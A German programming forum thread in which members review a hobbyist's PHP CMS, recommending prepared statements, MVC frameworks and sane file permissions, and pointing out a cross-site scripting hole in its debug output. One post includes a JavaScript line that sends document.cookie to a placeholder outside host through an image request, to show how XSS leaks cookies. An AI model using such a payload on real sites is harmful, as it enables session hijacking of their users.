PHP - sind hier "Sicherheitsexperten" an Board?

[himitsu]

n'abend,

die grundlegende Basis für mein winziges (eigenes) CMS hab ich nun soweit fertig. (falls ich nich noch welche Fehler finde).

Und da wollte ich mal fragen, ob jemand hier zufällig irgendwo ein Sicherheitsproblem entdecken kann?
Jetzt kann ich ja Vieles noch problemlos grundlegend umstrukturieren.


als Zielplattform ist
PHP 5.2 (mal sehn wann auch die kleinen Server das auf schönere 5.3 umgestellt werden) und MySQL 5 vorgesehn

aktuell lauffähig:
- sperren vom direkten Ausführen von "Include"-Dateien
also aktuell noch fast alles im Scripts-Verzeichnis
(hier hatte ich auch erst die übliche Variante mit einer Konstante via DEFINE und jetzt wird es ohne externe Konstante über 'nen Stacktrace erledigt)
- Login (eingerichteter Benutzer ist "Admin" + "Pass")
- Logout
- die Sprachverwaltung
- eine dynamische Session (sie und ihr Keks wird nur erstellt, wenn sie nötig ist und ebenso auch wieder gelöscht)

noch nicht ausprobiert (aber hoffentlich lauffähig):
- Registrierung
- freischalten eines gesperrten/neuen Accounts
- neues Passwort, wenn vergessen
- die Basisverwaltung des Cronjobs
- viele Funktionen (aktuell noch, mal sehn ob ich das noch ändere), welche den Zugriff auf die grundlegenden Datenbank und Dateizugriffe bereitstellen

was noch fehlt:
- erstmal ist die Templateklasse noch nicht fertig
(drum auch billiges Echo+HTML in der Index.php)
- und erst dannach kann ich mich um den Rest kümmern
- nja und dann kommen noch so 10-20 weitere Dateien dazu, für die restlichen Funktionen (es soll ja alles klein bleiben)


Was den Dateiupload betrifft, da werden die Dateien entweder nicht von extern zugänglich sein (werden z.B. nur via readfile und vorherige Rechteprüfung freigegeben) und/oder ihre Dateinamen im Dateisystem werden geprüft und enthalten keine "bösen" Zeichen und auch die "schlimmen" Dateierweiterungen sind da nicht vorhanden (PHP hochladen und dann ausführen ist also nicht möglich)



bei den Sperren will ich noch was ändern
- also automatischer Überlasungsschutz kommt noch rein (falls unser Handy mal bei mir vorbeischaut und mit millionen Anfragen alles überlastet)
- damit verbunden auch eine etwas andere/bessere Art auf zuviele falsche Passworteingaben zu reagieren (aktuell wird nach 5 Versuchen der Account gesperrt und kann per Mail wieder freigeschaltet werden)


In dem Code hab ich die Debugausgabe aktiviert, also nicht über die Messages und den DEBUG OUTPUT wundern.
Und wie gesagt, aktuell geht es mir erstmal um die Sicherheit,
also voralem alles, welches in der Scripts/Functions.php in den Funktionen Main_GetConfigDefaults und besonders Main_Initialize behandelt wird.
Aus den Debugausgaben sollten auch alle gefährlichen Infos rausgefiltert werden.



Im Anhang liegen die Dateien
und hier hab ich noch 'nen Testserver mit den Dateien (9 MB)



Testserver:
- dort ist'n kleiner Apache, PHP 5.3 und MySQL 5.1 drinnen
- beim "installieren" entpackt der nur diese Module in sein Verzeichnis
- mein Projekt wird dann über http://localhost/Test/Scripts/Install.php5 eingerichtet
- und auf http://localhost/Test/Index.php5 liegt die Testseite

[edit]
ups, den Anhang vergessen :oops:

[fkerber]

Hi!

Sehe ich das richtig, dass du keine Prepared-Statements verwendest?
Falls dem so ist, würde ich dir raten, es so bald als möglich zu tun.

Gründe u.a.:
*) Performance-Gewinn
*) Besserer Schutz vor SQL-Injections


Grüße, Frederic

[Valle]

Hallo, :-)

ich hoffe du hast nichts dagegen, wenn ich dein CMS mal etwas genauer auseinander nehme, nicht nur bezüglich Sicherheit.:cyclops:

• das gesamte Konzept deines CMS ist leider völlig veraltete Technik und alles andere als flexibel, tut mir Leid. Du wirst mit Sicherheit Probleme damit bekommen, wenn du das intensiver benutzen willst. MVC sollte das sein, was du suchst,
• Du verwendest globale Variablen und einige Konstanten ($Config oder R_GUEST), was wie auch in Delphi nicht gerade die feine englische Art ist. ;-)
• es sind einige Rechtschreib- oder Tippfehler zu finden. Main_Fialize() oder $_SESSION['Activ'].
• du mixt sehr extrem Groß- und Kleinschreibung. Das ist nicht hilfreich für Leute, die sich mit deiner API beschäftigen wollen. In den meisten Fällen hat sich ein "allesklein" für Variablen und Funktionen bewährt. Lediglich Klassen (dazu gleich mehr) schreibt man meistens in Camel_Case.
• eine functions.php ist keine gute Idee. Mag sein, dass die Ladegeschwindigkeit erhöht wird, weil alles in einer Datei steht, aber Versionierung, logische Trennung oder einfach nur Übersicht leiden schwer darunter.
• soweit ich dein CMS verstanden habe, muss man für jede neue Seite eine neue Datei anlegen und diese mit Kopf- und Fußzeilen ausstatten. Das artet in vielen Hacks und unnötigem Copy and Paste aus. Und wehe es ändert sich mal was ...
• Die wesentlichen Config-Einträge wie MySQL-Zugangsdaten stehen in Zeile 2090! Findest du nicht, dass derartig relevante Sachen eine eigene Datei verdient haben? ;)
• es ist schön, dass du deinen Code (bzw die API) so einigermasen dokumentierst, aber mittlerweile gibt es sehr schöne inline-Dokumentationssysteme (phpDoc!), welche teilweise schon von Editoren unterstützt werden und wesentlich lesbarer und geläufiger (folglich einfacher) sind.
• du magst preg_match, oder? *g* Ein CMS sollte das möglichst vermeiden, denn es ist nicht gerade das Schnellste. Es gibt viele Stellen in deinem Code, die ein derartiges Monster an Funktionskraft gar nicht benötigen. Hier streiten sich viele (alcaeus wird gleich wieder kommen ... ^^), aber soweit ist das jedenfalls meine Meinung.
• Funtions.php5, Zeile 284; fummle doch bitte nich an den Dateirechten rum. 0777 ist ein böses Gerücht, völlig sinnlos und nicht Aufgabe des Script. Der Administrator selbst hat dafür zu sorgen, das Dateien die Rechte haben, die sie haben sollen. 0777 steht für Lese-Schreib- und Ausführrechte für jeden. Wozu muss ein Script ausgeführt werden (die werden interpretiert) und warum haben Andere Lese- und Schreibrechte darauf? ;)
• und in Anbetracht dessen müsste man noch sagen, dass dein CMS wahrscheinlich nicht Windows-Server kompatibel ist (siehe Pfadnamen und diese chmods).
• bzgl. der Sicherheit ist mir sonst noch nichts aufgefallen. Mir fällt es schwer, relevante Stellen zu finden, denn was die Verzeichnisstruktur angeht, hast du dein Projekt sehr klein gehalten.

Was ich dir noch so als kleine Anregungen sagen möchte: Schau dir doch mal MVC an. Wenn man das geschickt umsetzt, hat man eine unglaubliche Flexibilität. OOP ist leider gar nicht verwendet worden, was dank PHPs Funktionsumfang sicher Spaß gemacht hätte. Dann wäre auch ein gutes URL-Management eine sinnvolle Sache. Lieber sollte man per htaccess immer die index.php aufrufen, die dann anhand der URL die richtige Seite includet. Und letztendlich werf ich mal noch den Begriff "Autoloader" in die Runde. Kapselt man alle Funktionalitäten in Klassen, so ist ein Autoloader eine feine Sache.

Ansonsten hast du dir sicher viel Mühe gegeben und eine Menge Arbeit da rein gesteckt. Du hast viel abstrakt gehalten und dich auf die Zukunft vorbereitet. Funktionieren wird das alles sicherlich, aber Spaß macht es später eher keinen mehr. PHP kann toller sein. :-)

Wenn du noch Fragen zu den einzelnen Listenpunkten hast, dann nur her damit. Ich kann da gerne einiges genauer erläutern. :-)

Liebe Grüße,
Valle

[alcaeus]

@Valle: was soll das denn heissen? :P

Ich geb auch noch bisserl Senf dazu, allerdings ohne mir die Muehe gemacht zu haben, den Code anzusehn. Security-Reviews gibts sind dann doch etwas aufwaendiger.
Ein paar allgemeine Kommentare kann ich dir geben:

• Valle hat Recht wenn er dir MVC ans Herz legt. Nein, eine Template-Engine macht deinen Code nicht MVC-konform. Ja, ein MVC-Framework hilft dir. Ich empfehle Symfony 1.4 und Doctrine (ist in symfony enthalten) als Framework-Loesung. Damit sind auch die von Frederic angesprochenen Prepared Statements abgehakt.
• index.php5 ist eine Sache die es nicht geben sollte. index.php ist schon eher richtig - FYI: es gibt nur eine unterstuetzte PHP-Version, und das ist PHP5. Hoster bei denen Dateien die Endung php5 haben muessen, damit PHP5 greift kannst du in die Tonne kloppen. Ausserdem ist .php die Standard-Erweiterung fuer PHP-Skripte. Ich aendere doch nicht meine Apache-Einstellungen (wo PHP bei Dateien mit der Endung .php greift) um ein CMS ausfuehren zu koennen. Sorry, aber is nicht.
• @Valle: camelCase funktioniert anders. Ich empfehle uebrigens einen Blick auf die PEAR oder ZF Coding-Guidelines - diese sind akzeptierter Standard. Da stehn noch ein paar andere sinnvolle Dinge drin.
• 777 ist toedlich. Ganz ehrlich: wenn www-data irgendwo schreiben soll, machs ueber die normalen Gruppen- und Benutzer-Berechtigungen von Linux. Es gibt keinen Grund warum der mysql-Benutzer in den Apache-Skripten rumfummeln darf oder warum Dateien gar ausfuehrbar sein sollen. 644 (Files) bzw. 755 (Directories) kombiniert mit chown und chgrp sollte dein bester Freund werden.
• Um das functions.php-Beispiel weiterzufuehren: wenn du die Funktionen logisch in Klassen kapselst und mit nem Autoloader arbeitest dann sparst du dir das unnoetige Laden von zig Funktionen. Das Parsen der PHP-Dateien kostet naemlich ohne Opcode-Cache richtig viel Zeit. Wenn dein Code nur eine von 20 Klassen braucht, wird auch nur die geladen, und dann auch erst sobald sie benoetigt wird. Guck dir hierzu mal spl_autoload() an. Da ist uebrigens noch ein Vorteil von MVC-Frameworks: diese implementieren sowas bereits ;)
• Um Valle noch den Gefallen zu tun: bei der Performance-Optimierung eines grossen Ticketing-Systems haben wir uns entschlossen, ein is_preg-Flag in die Tabelle einzufuegen um so zu entscheiden ob wir per preg_match vergleichen oder per == wenn PREG nicht von Noeten ist. Das Ergebnis: der Code war nachher um den Faktor 20 (!) schneller. Muss ich noch mehr dazu sagen? :mrgreen:

Mein ganz freundlich gemeinter Tipp: guck dir mal folgende Tutorials an: A gentle introduction to Symfony und Practical symfony (for Doctrine). Sobald du mal die Vorteile des Systems gespuert hast wirst du sie nicht mehr missen wollen (ich sag nur I18N, Test-Frameworks, Routing-Klassen, CRUD-Generation, etc. :love:)

Greetz
alcaeus

[Valle]

Hallo,

ich möchte gerne noch die Sachen, welche alcaeus genannt hat unterstreichen. Hoster, die nur PHP in der Version 5 verwenden, wenn die Dateiendung .php5 ist, sind für die Tonne. Ich weiß dass es sowas noch gibt, aber der Einsatz eines längst nicht mehr unterstützen Software-Pakets ist ein Armutszeugnis für jeden Hoster...

Mit Doctrine habe ich bisher Erfahrung gemacht, was deren DB-Sachen betrifft (weiß jetzt nicht genau, ob da noch mehr dabei ist). Doctrine ist ein krasser Gegensatz zu herkömlichen Datenbank-Aktionen wie man sie so vielen PHP-Scripten kennt. Aber der Umstieg lohnt sich auf jeden Fall!

@alcaeus: Hätte ja nicht gedacht dass wir uns mal so einig sind. :mrgreen: Hatten wir uns nicht mal darüber unterhalten, dass das einsparen solcher Regular Expressions deiner Meinung nach nichts bringen würde? :gruebel:

Liebe Grüße,
Valle

[himitsu]

hab nix dageben :stupid:
@RedBox: das von alcaeus les ich mir auch gleich durch

Also MVC kenn ich noch nicht.
Hatte die letzen Jahre schon einige CMS ausprobiert und das Einzige was jetzt noch auf'm Server ist, sind eigene Sachen, ein kleines Fotoalbum und ein WordPress, welches bis jetzt als Einziges halbwegs brauchbar erschien.

Hab halt keine Lust teilweise bis zu mehreren 100 MB für ein kleines CMS zu belegen ... Einige waren zwar im Gegenzug auch sehr umfangreich, aber dafür war dann nie das zu finden, was man grade braucht.

Kennst du TikiWiki? Das "klang" nicht schlecht, war auch "leicht" Installiert, aber ich fand nichtmal raus, wie man eine neue Seite erstellte.

Ich nutze das Ganze auch vorwiegend zum Lernen (man lernt fast täglich was Neues) und ich hoffe daß (zumindestens für mich) am Ende etwas "brauchbares" rauskommt.


* es gibt doch nur eine globale Variable
die $Config und sonst gibt es maximal ein paar Konstanten

* ganz soooo flexiebel hab ich eh nie vor
(wer weiß, ob es jemals jemand Anderes, außer mir verwenden wird
und wer "mehr" will, der kann gerne eines von den teilweis 200-300 MB kleinen CMS-Packeten installieren ... da ist dann natürlich viel mehr möglich)
aber was das angeht, da hab ich mir mal ein vollkommen anderes unkonventionelles "System" ausgedacht, welches erst auf einer höheren Ebene integriert wird, mal sehn ob es dann auch

* "es sind einige Rechtschreib- oder Tippfehler zu finden"
es läuft soweit und nach sowas hatte ich noch garnicht viel geguckt (sowas sieht mal selten von alleine)

* "du mixt sehr extrem Groß- und Kleinschreibung"
hmmm?
Das mach ich überall so, also Wortanfänge groß.

* "Die wesentlichen Config-Einträge wie MySQL-Zugangsdaten stehen in Zeile 2090!"
Die stehn doch ab Zeile 18 in der Config.php, gleich der 5 Konfigurationsparameter?

* "du magst preg_match, oder? *g*"
die ein/zwei mal :oops:
ich versuche das später über die Cache wieder gut zu machen :angel2:

* "fummle doch bitte nich an den Dateirechten rum. 0777 ist ein böses Gerücht, völlig sinnlos und nicht Aufgabe des Script."
eine der Zeilen, welche ich ungefragt seit Jahren von einem Projekt ins andere kopiere.
(hatte da mal einige Probleme, daß Dateien die via FTP eingespielt wurden, nicht via PHP änderbar/löschbar waren)
PS: sowas findet man sehr oft in tausenden "Tutorials"
aber da hör ich gern auf dich

* "denn was die Verzeichnisstruktur angeht, hast du dein Projekt sehr klein gehalten"
das war Absicht.
> "Scripts" für inneren Dateien
> "Media" für die paar Bilder, CSS, JS und Co.
> "Cache" ist klar
> ein oder mehre "Files" für Dateianhänge und Co.
Cache und Files können verschoben werden (hab da z.B. auf meinem Webspaces ein nettes Verzeichnis, welches nicht via HTTP erreichbar ist)
Aber selbst wenn man darauf zugreifen könnte, dann sollte über die .htaccess alles gesperrt werden und die Dateinamen werden dort auch niemals Endungen wie .php haben. Und die index.html sollte notfalls verhindern, daß der Server einen Dateiindex bei example.com/Files/ ausliefert, falls die .htaccess versagt ... ich hoffe ja das reicht aus

* "OOP ist leider gar nicht verwendet worden"
hey, die MySQL- und die ein/zwei anderen Klassenzählen garnichts? :cry:

Und ja, ich hab mit sowas grad erst angefangen:
- Die Destruktoren lernte ich erst vor Kurzem kennen und es gefällt mir langsam.
- Variablen-Referenzen bei Parametern (vorallem in den Anfängen der Template-Klasse) sind auch nett (ebenfalls erst vor 'ner Weile kennengelernt)

Hatte mir schon überlegt die Funktionen der Funktions.php in Klassen auszulagern, aber mir fiel noch kein schönes Konzept ein. :?

* "Lieber sollte man per htaccess immer die index.php aufrufen"
Rate mal, warum es bis jetzt nur diese eine Index.php gibt?
Eventuell wird es noch ein/zwei weitere spezialiesierte Dateien geben,
und der Rest wird mir ein bissl ModRewrite-Rumgespiele über .htaccess geregelt. :stupid:

[alcaeus]

Zitat:

Zitat von Valle (Beitrag 1032458)

@alcaeus: Hätte ja nicht gedacht dass wir uns mal so einig sind. :mrgreen: Hatten wir uns nicht mal darüber unterhalten, dass das einsparen solcher Regular Expressions deiner Meinung nach nichts bringen würde? :gruebel: |

Kann mich nicht dran erinnern, in letzter Zeit warens dann doch ein paar mehr PHP-Themen als dass ich mir deren Inhalte merken koennte. Darfst aber gerne suchen wenn du magst. *gg*
Ausserdem: du musst nur oefter meine Meinung annehmen, dann sind wir uns auch einig :mrgreen:

Greetz
alcaeus

[himitsu]

@index.php5 : das ist soeine Sache, welche aktuell nicht anders ging.
.php ist noch mit PHP 4 verbunden
und PHP 5 konnte ich nur so nutzen

Aber darum hab ich es auch so geregelt, daß die Dateiendungen halbwegs flexibel sind.

[Valle]

Hallo,

@alcaeus: Nicht nötig, ist auch nicht so wichtig. :-)

@himitsu: Ich weiß gar nicht wie man auf 200-300 MB pro CMS kommt. PHP-, HTML-, JavaScript und CSS-Code ist klein und lässt sich über Packer sehr stark komprimieren. 200-300 Megabyte sind wahrscheinlich noch hunderte unnötige Design, Dokumentationen, Bilder, usw. Scheue dich nicht dafür für dein "kleines CMS" 200 PHP-Dateien und Ordner zu erstellen. Ein inode auf der Festplatte kostet nicht die Welt an Speicher. Der Aufwand eine viele tausende Zeilen große Datei zu managen schon. ;-)

Und übrigens: OOP ist für mich nicht die Verwendung der MySQLi-Klassen. OOP ist, wenn du's selber machst. ;-) Viele schöne Klassen, Interfaces, Vererbungen, Abstraktionen oder finale Klassen. Sowas macht den Reiz aus.

Ich kann dir als Referenz auch noch das Zend Framework empfehlen. Jenes ist zwar sehr langsam, als technischer Ansatz aber sicher einen Blick wert. Deren API, die abstrakte Implementation und das gesamte Konzept ist sehr gut Durchdacht und meiner Meinung nach echt lobenswert. :-)

Liebe Grüße,
Valle

[himitsu]

OK, das war vielleicht ein bissl übertrieben, aber es gibt ja einige "Webseiten", wo das ganze System, alleine schon in der Grundausstattung, mindestens 30-50 MB belegte (jedenfalls war das letztes Jahr noch so ... hab grade nachgesehn und dieses komische Joomla scheint geschrumpft zu sein :gruebel: )


Das php = PHP4 wurde damals so belassen, als PHP 5 eingebaut wurde, damit es halt keine Probleme mit alten Sachen gibt und alles Problemlos weiterlief.

Für den Webspace ist eigentlich schon lange eine Umstellung geplant.
Erstmal sehn, ob/wie ich wenigstens einige der alten Sachen so umstelle, daß sie unter PHP 5 laufen würden ... ist aber nicht mehr viel Altes vorhanden ... das ändern der Serverkonfiguration für .php = PHP5 wäre schnell erledigt, aber ich wüßte nicht, was an index.php5 soooooo schlimm sein sollte?
(wäre doch letztendlich eh hinter 'nem ModRewrite verschwunden :stupid: )

Zitat:

OOP ist für mich nicht die Verwendung der MySQLi-Klassen. OOP ist, wenn du's selber machst.

ähhhhhh?

Ich lerne grade mal die Anfänge von PHP 5 kennen ... ist nicht grade einfach das Ganze. :shock:





Aber über meine Session/Keks-Verwaltung sagt keiner was :heul:
Wisst ihr wie schwer das war die Session/Kese nur zu erstellen/verwenden, wenn die wirklich benötgt werden? (nach dem Einloggen oder Umstellen der Anzeigesprache)
Also standardmäig bekommt man von dem Script keinen Keks verpaßt. :D

Das ist mein Beitrag zur Entmüllung des Internets/Browsers. :angel:

[Matze]

Das ist auch nicht so sehr verschieden vom OOP anderer Programmiersprachen (klar gibt es auch hier Ausnahmen).
Es gibt aber einige gute Tutorials bzgl. OOP in PHP5. Vielleicht ist das hier einen Blick wert.

Meinen Vorrednern kann ich mich anschließen.
Gute Ansätze hast du in deinem CMS, aber man kann noch viel machen, um es zukunftsfähiger auszurichten. ;)

[alcaeus]

Zitat:

Zitat von Valle (Beitrag 1032463)

Ich kann dir als Referenz auch noch das Zend Framework empfehlen. Jenes ist zwar sehr langsam, als technischer Ansatz aber sicher einen Blick wert. Deren API, die abstrakte Implementation und das gesamte Konzept ist sehr gut Durchdacht und meiner Meinung nach echt lobenswert. :-)

*hust* Da geht sie dahin, die Einigkeit. ZF ist nicht langsam - es hat aber einen gewissen Overhead wie jedes andere Full-Stack-Framework auch. Auf normaler Hardware und mit nem Opcode-Cache (aptitude install php-apc) ist die Performance sehr gut. Im Zweifel schicke ich dir mal ein paar Infos zu ZF-Applikationen mit denen ich beruflich zu tun habe. Da aenderst du dann gerne deine Meinung ;)

Um noch kurz ein paar allgemeine Worte zum ZF zu verlieren: es verfolgt zwar denselben Ansatz wie Symfony (Full-Stack MVC-Framework), aber auf eine ganz andere Art und Weise (Symfony setzt auf Code Generation, Zend Framework laesst dich alles selbst machen). Fuer den Einstieg wuerde ich auf alle Faelle Symfony empfehlen, behalte aber die Ideen und Konzepte von ZF im Blick.

@himitsu: wenn du gerade erst PHP5 lernst, dann nutze die Chance und fang gleich mit MVC an. Dieses bisherige

PHP-Quellcode:

include functions.php

Gefrickel ist Schnee von Gestern ;)

Greetz
alcaeus

[fkerber]

Was wäre denn heutzutage die Alternative zu diesem "include-Gefrickel"?
Also wie kann ich mir die Umsetzung von MVC an dieser Stelle vorstellen?


Grüße,
Frederic

[alcaeus]

So umfangreich dass ich es hier nicht posten will. Da geschieht naemlich viel im Hintergrund. Mal ein Beispiel:

du rufst die URL hxxp://foo.bar/user/showprofile/alcaeus auf.
Uebers Routing habe ich folgendes URL-Schema definiert:
user/showprofile/:username

In diesem Fall leitet mich also der Controller ins user-Modul (Definiert durch die Klasse userActions) um und verlangt die Action showprofile (definiert durch die Methode executeShowprofile). Zusaetzlich wird der GET-Parameter "username" auf "alcaeus" gesetzt.
Dort lauf ich ins Model, um mir die Daten des Benutzers mit dem Namen "alcaeus" raussuchen zu lassen. Die Daten uebergebe ich an die View (einen Block HTML/PHP-Mischung, ein Smarty-Script, ein Twig-Template, etc.), welche im Hintergrund gerendert und ausgegeben wird.

Das wars jetzt kurz zusammengefasst - ein Blick durch die Einsteiger-Tutorials macht das eventuell noch verstaendlicher ;)

Greetz
alcaeus

[Valle]

Hallo,

@himitsu: Nun, deine Session und Kekse Verwaltung liest sich nicht so toll, wenn alles in einer Datei steckt. Ich kann dir nur sagen, dass ich für Sessions bisher immer mit PHPs eigenen Session-Funktionen gut aus kam und diese auch weiterhin bevorzuge. :-)

@alcaeus: Ich muss gestehen, dass ich diese Information von einem Freund blind übernommen habe, der wie ich finde durchaus Ahnung von der Materie hat. Ich habe selbst mit Zend schon öfter mal was angefangen, aber bisher nichts wirklich am laufen. Wenn du sagst Zend wäre nicht langsam, dann glaube ich dir das auch. Solange ich selbst nicht Hand angelegt habe, kann ich wohl nur auf andere Meinungen verweisen. :-)

Liebe Grüße,
Valle

[alcaeus]

Moin,

ich hab grad nochmal nen Blick in den Code geworfen. Nach PHP_Include() habe ich aufgegeben. Hier mal ein paar Punkte dazu:

• der erste Parameter heisst $__file. Trotzdem uebergibst du in index.php5 immer wieder __LINE__. Was denn jetzt?
• Der $__file-Parameter wird fuer die Fehlerbehandlung verwendet. Wenn du schon angeben willst, wo der Fehler seinen Ursprung hatte, guck dir mal debug_backtrace() an. Stack-Traces sind was Tolles :)
• PHP-Quellcode:

  if ($AddScriptDir) $FileName = (@$Config['Scripts'] ? $Config['Scripts']
        : ($Config['RootPath'] ? $Config['RootPath'] . 'Scripts/' : dirname(__FILE__) . '/')) . $FileName;

  Soll ich? Also:
  • Gewoehn dir an, immer Klammerbloecke hinzuzufuegen.
  • Everytime you use "@", God kills a Kitten. Im Ernst, wenn du pruefen willst ob $Config['Scripts'] gesetzt ist und keine E_WARNING kassieren willst, pruef mit isset().
  • Tertiaere Operatoren ($foo ? 'bar' : 'baz') sind spaerlich zu nutzen. Das kann schnell mal schiefgehn.
  • Verschachtelte Tertiaere Operatoren sind noch viel schlimmer.
• Ok, weiter im Programm:
  
  PHP-Quellcode:

  $FileName = preg_replace('#\.php$#i', $Config['Ext'] ? $Config['Ext'] : ((($X = dirname(__FILE__)
        . '/Functions.*') && ($Y = glob($X))) ? substr($Y[0], strlen($X) - 2) : '.php'), $FileName);

  Siehe oben. Ich fang jetzt gar nicht weiter an, vielleicht magst du den Code ja kurz erklaeren.
• Log_WriteFile: schmeiss lieber ne Exception und registrier nen Exception-Handler (set_exception_handler()). So kannst du in der Applikation auch individuell auf Fehler reagieren.

Und um die ganze Funktion ad absurdum zu fuehren: guck dir mal set_include_path() an. Auch das bereits erwaehnte spl_autoload ersparen dir da einige WTF-Momente.

BTW, ich hab den Code jetzt mal durch PHPMD gejagt. Allein die Funktion Main_Initialize() hat ne Cyclomatic Complexity von 74 (alles ueber 10 gilt als unwartbar) und ne NPath von 1067489280. Das bedeutet dass es ueber eine Million Ausfuehrungspfade durch die Funktion gibt. Alles ueber 300 sollte da refactored werden. Ich hab dir mal das Ergebnis angehaengt - mehr Informationen findest du auf der obigen Webseite.

@Valle: ein oft gemachter Fehler ist, dass eben der Opcode-Cache weggelassen wird. Das geht auf Dauer echt auf die Performance. Ich kann aber von der Performance nichts schlechtes berichten, und das bei echt grossen Anwendungen (mehrere 100k LOC).

Greetz
alcaeus

[alcaeus]

Ach, und noch was: ich hab nur kurz ueber die Functions.php5 drueber geguckt, aber die Sicherheitsluecke in Main_Fialize() bei aktiviertem Debug-Mode ist schon schnuckelig. So einfach war es noch nie, HTML-Code in die Seite reinzupruegeln. Cross-Site-Scripting wie man will. Auch wenns der Debug-Mode ist, die direkte Ausgabe von GPC-Variablen ist ne saudumme Idee.

Greetz
alcaeus

[blackfin]

Mhm...ich will da jetzt auch was lernen, damit mir das selbst nicht passiert :)

Wie könnte man denn nun damit eine Cross-Site-Scripting Attacke fahren bzw. wo liegt denn jetzt die böse Lücke?

[Hisoka]

Zitat:

Zitat von blackfin (Beitrag 1032489)

Mhm...ich will da jetzt auch was lernen, damit mir das selbst nicht passiert :)

Wie könnte man denn nun damit eine Cross-Site-Scripting Attacke fahren bzw. wo liegt denn jetzt die böse Lücke?

Simpel, es wird dort alles ausgegeben was z.B. im get Array ist. Somit muss man da nur etwas java script reinpacken und man kann mit dem zielrechner (also der jenige der ein link zur präparierten seite bekommt) machen was man will(dein Antivirenprogramm hilft nicht wenn man über ne IE/Chrome/... Lücke und etwas JS kompletten zugriff auf das system bekommt ==> ja das geht)

[blackfin]

Wenn ich das jetzt richtig verstanden habe. ist das aber nur deswegen eine Sicherheitslücke, da die GPC-Variablen vor der Ausgabe nicht gefiltert / escaped werden, so dass man eben auch JS-Code per GET oder POST einschleifen kann, richtig?
Würde man die Variablen vorher überprüfen und analog dem Konzept "traue keinem User-Input" vorgehen, wäre die Debug-Ausgabe ja kein Problem mehr.
Oder habe ich es nun doch nicht gepeilt...

[himitsu]

menno jetzt kann ich nimma mehr einschlafen :(
muß in 4 Stunden eh wieder aufstehn ... lohnt sich also eh nimmer :?

der erste Parameter heisst $__file. Trotzdem uebergibst du in index.php5 immer wieder __LINE__.
nja, es wird sich ja nun eh viel ändern, da macht das jetzt auch nicht mehr aus :lol:

debug_backtrace() hatte ich gestern nachmittag erst kennengelernt, aber so schnell bin ich auf diese Idee noch garnicht gekommen ... danke.
Einen kleinen Error-Handler hatte gestern auch erst eingebaut ... aber wie gesagt, da ändert sich jetzt eh viel.

Hatte die letzt Stunde beim Einschlafenversuchen so viele Gedanken und neue und hoffentlich bessere Ideen im Kopf, dank euch.

Tertiaere Operatoren ($foo ? 'bar' : 'baz') sind spaerlich zu nutzen.
Och menno, dabei hatte ich mit diesem Feature gerade meinen verspielt übertriebenen Spaß gehabt.
Ihr nehmt einem aber auch jede Freude. :evil:

Das bedeutet dass es ueber eine Million Ausfuehrungspfade durch die Funktion gibt.
Cooool :shock:
OK, hierfür hatte ich ja nun auch schon bessere Ideen gewonnen.

Auch wenns der Debug-Mode ist, die direkte Ausgabe von GPC-Variablen ist ne saudumme Idee.
autsch ... gut zu wissen


So, mal sehn was sich noch alles für gute Erkenntnisse hinter den massig Links verstecken.


Oder habe ich es nun doch nicht gepeilt...
ich glaub das stimmt.

Bis auf diese Debugausgabe hab ich schon versucht/geplant alle externen Eingaben zu prüfen.

Auch noch was.
"Neuere" Browser lassen ja z.B. absichtlich keine Server(URL) übergreifenden JavaScript-Zugriffe zu.
aber so kann man etwas in den "Kontext" der fremden Seite einschmuggeln und es hätte dann da vollen Zugriff.

[alcaeus]

Zitat:

Zitat von himitsu (Beitrag 1032496)

"Neuere" Browser lassen ja z.B. absichtlich keine Server(URL) übergreifenden JavaScript-Zugriffe zu.
aber so kann man etwas in den "Kontext" der fremden Seite einschmuggeln und es hätte dann da vollen Zugriff.

Richtig - die Same-Origin-Policy. Die hat auch ihre Grenzen, und die kann man schnell umgehen:

Code:

var foo = new Img(); foo.source='http://foo.baz/'+document.cookie;

Und da geht deine Same-Origin-Policy zur Tuer raus - Bilder sind naemlich vollkommen OK. Kann sein dass manche Heuristiken das mittlerweile abgreifen, da gibts aber noch zig Wege um Content an eine andere Seite zu uebermitteln sobald man mal das JS reingekriegt hat.

Greetz
alcaeus

[himitsu]

Gibt es eigentlich sowas wie die "Class Helper" auch für PHP ?

Also daß man Klassen aufteilen kann und sobald z.B. eine Datei "includet" wird, welche diesen "Class Helper" enthält, dann bekommen auch alle existierenden und neuen Objekte/Instanzen der Eltern-Klasse auch die neuen Methoden verpaßt.

[alcaeus]

Zitat:

Zitat von himitsu (Beitrag 1032513)

Gibt es eigentlich sowas wie die "Class Helper" auch für PHP ?

Um mal das Ergebnis einer Suche zu zitieren:

Zitat:

Class helpers are a way to extend a class without using inheritance. A class helper simply introduces a wider scope for the compiler to use when resolving identifiers. [...] Very simply, they allow you to add your own code to existing objects without requiring the source code or recompiling. The new code only has public access to the original object, so it cannot access private or protected data.

(Quelle)
Um das kurz zu beantworten: nein. Dem Himmel (oder der Hoelle, je nachdem woran man lieber glaubt) sei Dank. Ich wuesste auch nicht wozu sowas gut sein sollte.

Greetz
alcaeus

[Mithrandir]

Zitat:

Zitat von alcaeus (Beitrag 1032457)

[*]Um das functions.php-Beispiel weiterzufuehren: wenn du die Funktionen logisch in Klassen kapselst und mit nem Autoloader arbeitest dann sparst du dir das unnoetige Laden von zig Funktionen. Das Parsen der PHP-Dateien kostet naemlich ohne Opcode-Cache richtig viel Zeit. Wenn dein Code nur eine von 20 Klassen braucht, wird auch nur die geladen, und dann auch erst sobald sie benoetigt wird. Guck dir hierzu mal spl_autoload() an. Da ist uebrigens noch ein Vorteil von MVC-Frameworks: diese implementieren sowas bereits ;)

*meld*

So ganz komme ich noch nicht hinter den Autoloader. Nehmen wir an, eine beliebige Klassendatei, bspw. content.class.php schaut so aus:

PHP-Quellcode:

<?php
require_once('dbconnector.class.php');
require_once('systemcomponent.class.php');

class content extends systemcomponent {

   //values
   var $contentid = 0;
   var $creationtimestamp = 0;
   var $modifiedtimestamp = 0;
   var $contenttype = "";
   var $title = "";
   var $summary = "";
   var $category = 0;
   var $parentcontent = 0;
   var $thecontent = "";
   var $authorid = 0;
   var $requireduserlevel = 10;
   var $ispasswordprotected = false;
   var $pass = "";
   var $commentsallowed = 1;
   var $ispublished = false;
   var $fancyhash = "";
   
   //constructor
   function __construct($id) {
        }
}
?>

Davon gibt es mehrere dieser Sorte, immer nach demselben Schema aufgebaut. Dann kommt noch eine zentrale index.php, die in etwa so aussieht:

PHP-Quellcode:

<?php
setlocale (LC_ALL, 'de_DE');
/* Start Session */
session_start();
/* Define a global Var */
define('SMARTY_DIR','./libs/smarty/');

/* Require some files */
require_once('./libs/smarty/Smarty.class.php');
require_once('./libs/nbbc/nbbc.php');
require_once('./classes/users.class.php');
require_once('./classes/searchprovider.class.php');
require_once('./classes/settings.class.php');
